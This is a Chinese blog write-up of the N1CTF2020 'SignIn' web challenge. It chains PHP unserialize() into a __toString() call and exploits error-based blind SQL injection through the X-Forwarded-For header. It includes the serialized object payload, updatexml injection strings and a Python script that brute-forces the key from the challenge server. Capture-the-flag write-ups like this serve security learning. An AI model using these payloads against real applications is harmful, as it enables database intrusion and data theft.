N1CTF2020-Web-SignIn

N1CTF2020-Web-SignIn

分析

访问靶机直接得到源码,里面写了两个class,还有一个获取get参数input进行反序列化的地方,所以解题应该是有反序列化的。

<?php 
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}

class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
    	if(md5($this->check)===md5("key****************")){
    		readfile('/flag');
    	}
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }

}
if(isset($_GET['input'])){
    $input = $_GET['input'];
	unserialize($input);
} 

flag类中有一个成员方法getflag(),需要获取一个key值,就能读取/flag,但是使用的是全等于,所以应该需要在其他地方找到这个key值。

public function getflag(){
    if(md5($this->check)===md5("key****************")){
        readfile('/flag');
    }
    return $this->ip;
}

代码很短,第一感觉能获取到key值的地方就是ip类中的__toString()方法,这里面通过sprintf拼接sql语句后放入数据库中执行,且拼接语句中的$_SERVER['HTTP_X_FORWARDED_FOR']我们可以通过在HTTP头添加XFF来控制。需要找到一个地方触发ip类的__toString()方法,然后添加XFF就能实现注入了。

public function __toString(){
    $con=mysqli_connect("localhost","root","********","n1ctf_websign");
    $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
    if(!mysqli_query($con,$sqlquery)){
        return mysqli_error($con);
    }else{
        return "your ip looks ok!";
    }
    mysqli_close($con);
}

在flag类的__wakeup()方法中看到stristr(),这个方法是忽略大小写版本的strstr,即忽略大小写的字符串查找。并且如果stristr()中的参数为实例化对象时,会调用__toString()来转换成字符串。而正好这个stristr()$this->ip我们可以使用反序列化来控制,那么就可以通过将$this->ip设置成new ip()来调用ip类的__toString()方法。首先生成序列化数据:

$f = new flag(new ip());
echo serialize($f);

然后通过get方法的input参数传入序列化数据,再添加XFF来进行注入。但是发现后端代码有黑名单检测,不允许XFF内容中出现sleep、benchmark,显然是拼接语句过程中的$this->waf($_SERVER['HTTP_X_FORWARDED_FOR'])做了检测。

但是这问题不大,ip类的__toString()方法是有返回值的,sql语句执行成功返回your ip looks ok!,失败则返回错误信息。

而我们控制调用ip类__toString()的地方,是在__toString()return结果中查找字符串n1ctf

那么我们就可以通过利用__toString()会返回sql执行报错信息这一点,用报错注入来控制报错信息中出现n1ctf即可。

payload:X-Forwarded-for: ' or updatexml(1,concat(0x7e,(select if((1=1),'n1ctf',0)),0x7e),1) or '
if为真时,返回n1ctf__wakeup()stristr()查询到n1ctf在页面中打印welcome to n1ctf2020,if为假时返回noip,妥妥的布尔盲注。

getFlag

接下来就是python3 1.py一顿梭哈,就得到key了。

# coding: utf-8

import requests

word = '1234567890qwertyuioplkjhgfdsazxcvbnm'
url = 'http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";s:9:"127.0.0.1";}s:5:"check";N;}'
for a in range(1,50):
    for ch in word:
        payload = f'\' or updatexml(1,concat(0x7e,(select if((substring((select `key` from n1key),{a},1)=\'{ch}\'),\'n1ctf\',0)),0x7e),1) or \''

        sess = requests.session()
        head = {'X-Forwarded-for': payload}
        resp = sess.get(url, headers=head)
        if '<code>welcome to n1ctf2020</code>' in resp.text:
            # print(str(a) + ': ' + ch)
            print(ch, end='')

再使用key生成序列化数据,得到flag。

$f = new flag('n1ctf');
$f->check = 'n1ctf20205bf75ab0a30dfc0c';
echo serialize($f);

posted @ 2020-10-19 10:50  Gcker  阅读(511)  评论(2编辑  收藏